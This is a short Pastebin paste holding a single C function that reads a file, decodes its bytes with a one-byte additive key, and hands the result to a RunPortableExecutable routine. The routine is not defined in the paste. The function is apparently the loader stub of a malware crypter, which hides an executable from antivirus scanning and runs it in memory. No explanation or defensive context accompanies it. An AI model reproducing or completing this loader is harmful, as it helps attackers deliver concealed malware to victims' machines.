Advertisement
Guest User

Untitled

a guest
Jun 19th, 2018
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.41 KB | None | 0 0
  1. void DecryptAndRun(char *path, unsigned char key)
  2. {
  3. FILE * file = fopen(path, "rb");
  4. fseek(file, 0, SEEK_END);
  5. long int size = ftell(file);
  6. fclose(file);
  7. file = fopen(path, "rb");
  8. unsigned char * in = (unsigned char *)malloc(size);
  9. int bytes_read = fread(in, sizeof(unsigned char), size, file);
  10. fclose(file);
  11. for (int i = 0; i < size; i++)
  12. {
  13. in[i] += key;
  14. }
  15. RunPortableExecutable(in);
  16. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement